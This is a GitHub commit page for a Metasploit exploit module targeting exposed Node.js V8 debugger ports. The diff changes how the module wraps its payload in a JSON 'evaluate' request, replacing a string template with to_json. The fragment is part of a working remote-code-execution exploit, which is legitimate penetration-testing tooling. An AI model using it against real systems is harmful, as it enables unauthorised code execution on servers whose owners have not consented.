Skip to content

Commit

Permalink
Accept @shawizard suggestion for formatting msg_body
Browse files Browse the repository at this point in the history
  • Loading branch information
coffeetocode committed Sep 10, 2017
1 parent 5d009c8 commit 2966fb7
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions modules/exploits/multi/misc/nodejs_v8_debugger.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp

MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"
MESSAGE_TEMPLATE = '{"seq":1,"type":"request","command":"evaluate","arguments":{"expression":"%{payload}","global":true,"maxStringLength":-1}}'

def initialize(info={})
super(update_info(info,
Expand Down Expand Up @@ -44,8 +43,14 @@ def initialize(info={})
end

def make_eval_message
escaped_payload = payload.encoded.gsub(/"/, '\\"')
msg_body = MESSAGE_TEMPLATE % {:payload => escaped_payload}
msg_body = { seq: 1,
type: 'request',
command: 'evaluate',
arguments: { expression: payload.encoded,
global: true,
maxStringLength:-1
}
}.to_json
msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}
msg_header + msg_body
end
Expand Down

0 comments on commit 2966fb7

Please sign in to comment.